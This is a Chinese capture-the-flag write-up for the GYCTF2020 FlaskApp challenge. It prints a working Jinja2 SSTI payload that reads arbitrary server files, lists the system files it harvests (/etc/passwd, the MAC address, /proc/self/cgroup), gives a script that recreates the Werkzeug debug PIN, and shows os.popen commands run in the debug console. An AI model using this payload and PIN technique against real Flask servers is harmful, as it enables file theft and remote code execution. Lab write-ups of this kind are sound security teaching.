zoukankan      html  css  js  c++  java
  • [GYCTF2020]FlaskApp WriteUp

    考点:SSTI-Flask、Flask Debug模式、Flask PIN码

    参考:

    [题解]https://www.cnblogs.com/MisakaYuii-Z/p/12407760.html

    [Flask Debug RCE利用]https://zhuanlan.zhihu.com/p/32138231

    [Flask Debug PIN码生成机制]https://www.cnblogs.com/HacTF/p/8160076.html

    1.获取提示

    URL:/hint

    提示:失败乃成功之母!!

    指的是Debug模式,则需利用Flask Debug模式

    2.获取报错信息

    URL:/decode

    base64解密界面随意输入字符串,导致解码报错,进入Debug页面,尝试进入Debug Console,发现需要PIN码

    得到如下信息

    • Python版本:3.7
    • 文件地址:/usr/local/lib/python3.7/site-packages/flask/app.py
    • 可能存在SSTI,来源(Debug源码泄露) :return self.view_functions[rule.endpoint](**req.view_args)

    2.SSTI读取关键文件

    2-1 SSTI读取文件

     由于是Python 3.7,框架为Flask,我们使用的exp如下(其中filename为想要读取的文件)

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

    base64加密后,放入题目中解密即可

    2-2 必须的信息

    通过PIN码生成机制可知,需要获取如下信息

    1. 服务器运行flask所登录的用户名。通过/etc/passwd中可以猜测为flaskweb 或者root,此处用的flaskweb
    2. modname一般不变就是flask.app
    3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask,该值一般不变
    4. flask库下app.py的绝对路径报错信息会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
    5. 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address 获取(eth0为网卡名),本题为02:42:ae:01:0d:25,转换后为2485410401573
    6. 机器的id

    mac地址转换代码

    mac ='02:42:ae:01:0d:25'.replace(':','')
    print(int(mac,base=16))

    2-3 获取机器的ID

    对于非docker机每一个机器都会有自已唯一的id

    Linux:/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件

    Windows:阅读参考链接

    docker机:/proc/self/cgroup

    本题读取到/proc/self/cgroup如下

    则ID为:eae9f0aef8927b35634c408aa2e4e4177e4f48ff536a8187682d62f1b0143990

    3.计算PIN码

    生成文件路径:{Python Lib根目录}site-packageswerkzeugdebug\__init__.py

    本题中路径:/usr/local/lib/python3.7/site-packages/werkzeug/debug/__init__.py (读取失败)

    改为下载Flask源码进行研究,通关精简,最后的生成代码如下

    import hashlib
    from itertools import chain
    
    probably_public_bits = [
        'flaskweb',#服务器运行flask所登录的用户名
        'flask.app',#modname
        'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)
        '/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径
    ]
    
    private_bits = [
        '2485410401573',#当前网络的mac地址的十进制数
        'eae9f0aef8927b35634c408aa2e4e4177e4f48ff536a8187682d62f1b0143990'#机器的id
    ]
    
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
    cookie_name = '__wzd' + h.hexdigest()[:20]
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    print(rv)

    计算得到ID为 147-718-817

    4.寻找Flag

    由于无法直接获取到程序回显,使用 os.popen("exp").read() 代替 os.system("exp") 

    os.popen("ls -l /").read()
    os.popen("cat /this_is_the_flag.txt").read()

    成功读取到Flag

  • 相关阅读:
    语言精粹【摘要】
    【转】一个Java程序员应该掌握的10项技能
    比较有用的网址
    推荐一些国内的Jquery CDN免费服务
    CSS3动画【归纳总结】
    scrollTo与border结合使用的小玩意
    aria-label及aria-labelledby应用//////////[信息无障碍产品联盟]
    aria初探(一)
    没有this的JavaScript
    Front-end Job Interview Questions
  • 原文地址:https://www.cnblogs.com/kanowill/p/12832543.html
Copyright © 2011-2022 走看看